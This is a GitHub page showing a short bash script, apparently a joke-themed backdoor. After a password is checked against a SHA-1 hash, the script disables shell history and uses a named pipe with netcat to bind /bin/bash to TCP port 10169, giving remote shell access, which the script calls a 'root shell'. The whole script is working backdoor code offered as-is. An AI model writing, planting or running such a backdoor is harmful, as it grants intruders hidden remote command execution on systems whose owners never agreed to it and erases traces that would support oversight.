-
Notifications
You must be signed in to change notification settings - Fork 4
Expand file tree
/
Copy pathscript.sh
More file actions
36 lines (29 loc) · 711 Bytes
/
Copy pathscript.sh
File metadata and controls
36 lines (29 loc) · 711 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
#!/bin/bash
hash="a396572be01a534f1b6f9284ec20907dc9aede7e" # backdoorzrock
lolnode=/tmp/.rofl
lolUp(){
echo 'Conjuring a root shell on :lol69'
export HISTFILE=/dev/null # Stuff to run before the shell
mknod $lolnode p; (nc -l -p 10169 || nc -l 10169)0<$lolnode | \
/bin/bash >$lolnode 2>&1; rm $lolnode
}
trap "rm -f /tmp/$lolnode /tmp/.pass" 1 2 8
case $1 in
-p|--password)
printf "$2" >/tmp/.pass
;;
*)
read -s -p "Enter the Magic Word: " magic
printf $magic >/tmp/.pass
;;
esac
if echo "$hash */tmp/.pass" | sha1sum -c - > /dev/null 2>&1 ; then
echo Access Granted!
lolUp &
else
for i in a b c d e; do
echo "AH! AH! AH! You didn't say the magic word!"
sleep 1
done
fi
exit